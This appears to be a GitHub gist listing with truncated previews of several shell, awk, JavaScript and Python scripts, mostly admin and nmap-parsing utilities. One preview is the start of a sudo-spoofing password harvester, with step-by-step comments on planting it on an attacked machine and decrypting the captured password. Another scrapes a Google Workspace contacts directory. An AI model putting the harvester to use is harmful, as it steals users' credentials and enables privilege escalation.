This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#modified to work inline on stdin | |
sed "s/[$(echo -ne '\u00B4\u2018\u2019')]/'/g; s/[$(echo -ne '\u201C\u201D')]/\"/g" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/zsh | |
# Optionally use apfs-clonechecker to check for clones before recloning, useful if you are rerunning the script | |
export do_clone_check=${do_clone_check:-1} | |
export cleanup=${cleanup:-1} | |
export verbosity=${verbosity:-3} | |
export do_extra_checksum_test=${do_extra_checksum_test:-1} | |
export reuse_existing_results_txt=${reuse_existing_results_txt:-0} | |
export minsize=${minsize:-4096} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#adapted from https://itectec.com/unixlinux/parse-grepable-nmap-output-to-print-a-list-of-iptall-open-ports-with-text-utils-like-awk/ | |
cat nmap_output.gnmap | awk '{ | |
for (i=4;i<=NF;i++) { | |
split($i,a,"/"); | |
if (a[2]=="open") printf "\n%s:%s",$2,a[1];} | |
print ""}' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# Sets proxy settings. | |
# Run using `source` command. apt-get proxy settings requires sudo privileges. | |
# By nathanchrs. | |
# Configuration | |
# PROXY_HOST="" | |
# PROXY_USER="" | |
# PROXY_PASSWORD="" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cat nmap/*.nmap | awk '/^[^\|]/ {if (printplugins==1 && !uniqdict[ip port]++) {print ip ":" port; for (i=0;i<pl;i++) {print pluginlines[i]}; print "\n"};pl=0;printplugins=0;} | |
/Nmap scan report for/ {match($0,/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/); ip = substr($0,RSTART,RLENGTH)} | |
/^[0-9]+.tcp/ {split($0,parr,"/"); port=parr[1]} | |
/^\|/ {pluginlines[pl++]=$0} | |
/ - [B-F]$/ {printplugins=1}' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Just paste this into your console while scrolled to the top of https://contacts.google.com/directory | |
//Adapted from https://github.com/KihtrakRaknas/DirectoryScraper/ | |
function sleep(ms) { | |
return new Promise(resolve => setTimeout(resolve, ms)); | |
} | |
totalnum = parseInt(document.querySelector("#yDmH0d > c-wiz:nth-child(15) > div > div:nth-child(3) > div:nth-child(1) > div").innerHTML.replace(/\D+/g, "")); | |
let contacts = []; | |
//let names = []; | |
let ids = new Set(); //to make sure it doesn't duplicate entries |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import print_function | |
#this should work with both python2 and python3 with no external dependencies | |
#most of the time it should be able to automatically determine the os | |
APIKEY=#apikey with SensorDownload-read permissions only | |
SECRET=#the secret generated with that key | |
import sys | |
import os |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#step 1: generate an rsa public/private keypair, and write your public key into the script below | |
#step 2: put this script onto the computer you are attacking, make it executable, and ensure it has higher PATH priority than real sudo | |
#step 3: after you obtain the encrypted password, decrypt it with cat .penc | openssl rsautl -decrypt -inkey your_key.priv | |
#note that you could easily modify to spoof other password taking utils like sudosh or su | |
sudo=`which -a sudo | head -n 2 | tail -n 1` #you could also just edit this to put in the location of real sudo yourself | |
if [ -s ~/.penc ] #the script has already ran | |
then | |
$sudo "$@" #just forward it straight to real sudo |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#dependencies | |
#libarchive-tools (if not on mac/bsd) | |
#jq | |
#rpm2cpio | |
#dpkg | |
apitoken="GenerateAnAPITokenWithPrivilegesLimitedToSensorDownloadsAndThenPasteItHere==" | |
mkdir -p ~/.supported_kernels_checker |
OlderNewer